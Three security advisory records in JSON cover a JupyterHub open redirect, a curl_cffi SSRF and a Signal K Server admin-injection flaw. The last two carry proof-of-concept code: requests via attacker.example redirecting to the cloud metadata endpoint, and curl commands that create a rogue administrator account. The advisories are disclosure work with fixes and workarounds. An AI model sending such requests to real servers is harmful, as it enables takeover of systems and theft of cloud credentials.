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{
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"schema_version": "1.4.0",
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"id": "GHSA-3vff-hjqv-m7h8",
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"modified": "2026-04-03T21:36:07Z",
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"published": "2026-04-03T21:36:07Z",
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"aliases": [
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"CVE-2026-33709"
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],
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"summary": "JupyterHub has an Open Redirect Vulnerability",
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"details": "## Affected Version\n\nJupyterHub <= 5.4.3\n\n## Impact\n\nAn open redirect vulnerability in JupyterHub <=5.4.3 allows attackers to construct links which, when clicked, take users to the JupyterHub login page, after which they are sent to an arbitrary attacker-controlled site outside JupyterHub instead of a JupyterHub page, bypassing JupyterHub's check to prevent this.\n\n## Patches\n\nUpgrade to JupyterHub 5.4.4\n\n## Workarounds\n\nA deployment can apply filters on the Location header in a reverse proxy such as nginx/apache/traefik.",
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"severity": [
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{
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"type": "CVSS_V4",
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"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "PyPI",
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"name": "jupyterhub"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "5.4.4"
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}
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]
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}
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],
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"database_specific": {
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"last_known_affected_version_range": "<= 5.4.3"
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}
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/jupyterhub/jupyterhub/security/advisories/GHSA-3vff-hjqv-m7h8"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/jupyterhub/jupyterhub"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-601"
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],
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"severity": "MODERATE",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-03T21:36:07Z",
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"nvd_published_at": null
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}
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}
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{
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"schema_version": "1.4.0",
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"id": "GHSA-qw2m-4pqf-rmpp",
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"modified": "2026-04-03T21:36:44Z",
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"published": "2026-04-03T21:36:44Z",
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"aliases": [
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"CVE-2026-33752"
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],
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"summary": "curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)",
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"details": "### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n→ 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n \"https://attacker.example/test\",\n impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "PyPI",
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"name": "curl_cffi"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "0.15.0"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/lexiforest/curl_cffi"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-918"
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],
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"severity": "HIGH",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-03T21:36:44Z",
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"nvd_published_at": null
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}
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}
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{
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"schema_version": "1.4.0",
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"id": "GHSA-x8hc-fqv3-7gwf",
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"modified": "2026-04-03T21:37:19Z",
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"published": "2026-04-03T21:37:19Z",
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"aliases": [
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"CVE-2026-33950"
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],
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"summary": "Signal K Server: Privilege Escalation by Admin Role Injection via /enableSecurity ",
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"details": "## Summary\n\nAccording to SignalK's security documentation, when a server is first initialized without security enabled, the **/skServer/enableSecurity** endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.\n\nHowever, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the **/skServer/enableSecurity** route remains perpetually open.\n\nFurthermore, the endpoint explicitly trusts the **type** field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.\n\n## Vulnerable Root Cause \n\nFile: src/serverroutes.ts (Lines 685-754)\n```\nif (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) {\n app.post(\n `${SERVERROUTESPREFIX}/enableSecurity`,\n (req: Request, res: Response) => {\n // ...\n function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) {\n // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy\n securityStrategy.addUser(config, request.body, (err, theConfig) => {\n // ...\n })\n }\n }\n // ... No code disables or removes this route after first execution.\n // The conditional check on Line 685 only happens during server startup, \n```\n\nFile: src/tokensecurity.ts (Lines 980-994)\n```\nfunction addUser(\n theConfig: SecurityConfig,\n user: { userId: string; type: string; password?: string },\n callback: ICallback<SecurityConfig>\n ): void {\n // ...\n const newUser: User = {\n username: user.userId,\n type: user.type // [!VULNERABLE] Blindly trusts the injected \"type\" field\n }\n```\n\n## Proof of Concept (PoC)\n\n**Simulate Legitimate Initial Setup**: Send a POST request to the open enableSecurity route defining the initial legitimate admin account.\n```\ncurl -X POST http://localhost:3000/skServer/enableSecurity \\\n -H \"Content-Type: application/json\" \\\n -d '{\"userId\": \"admin\", \"password\": \"securepassword\", \"type\": \"admin\"}'\n\nResult: Security enabled\n```\n\n**Inject Malicious Admin**: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.\n\n```\ncurl -X POST http://localhost:3000/skServer/enableSecurity \\\n -H \"Content-Type: application/json\" \\\n -d '{\"userId\": \"attacker\", \"password\": \"password123\", \"type\": \"admin\"}'\n\nResult: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).\n```\n\n**Verify Both Admins Exist**: Login via JWT as the attacker and query the restricted users endpoint.\n\n```\n# Get Token for Attacker\nTOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\": \"attacker\", \"password\": \"password123\"}' | jq -r .token)\n```\n```\n# Access Admin-Only Data\ncurl -H \"Authorization: Bearer $TOKEN\" http://localhost:3000/skServer/security/users\nResult: The system returns both admin and attacker as active Administrators.\n```\n\n<img width=\"1205\" height=\"469\" alt=\"Screenshot 2026-03-24 145906\" src=\"https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a\" />\n\n## Security Impact\nAn unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "npm",
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"name": "signalk-server"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "2.24.0-beta.4"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-x8hc-fqv3-7gwf"
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},
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{
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"type": "ADVISORY",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33950"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/SignalK/signalk-server"
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},
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{
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"type": "WEB",
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"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.24.0-beta.4"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-285",
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"CWE-288",
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"CWE-862"
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],
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"severity": "CRITICAL",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-03T21:37:19Z",
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"nvd_published_at": "2026-04-02T17:16:22Z"
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}
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}

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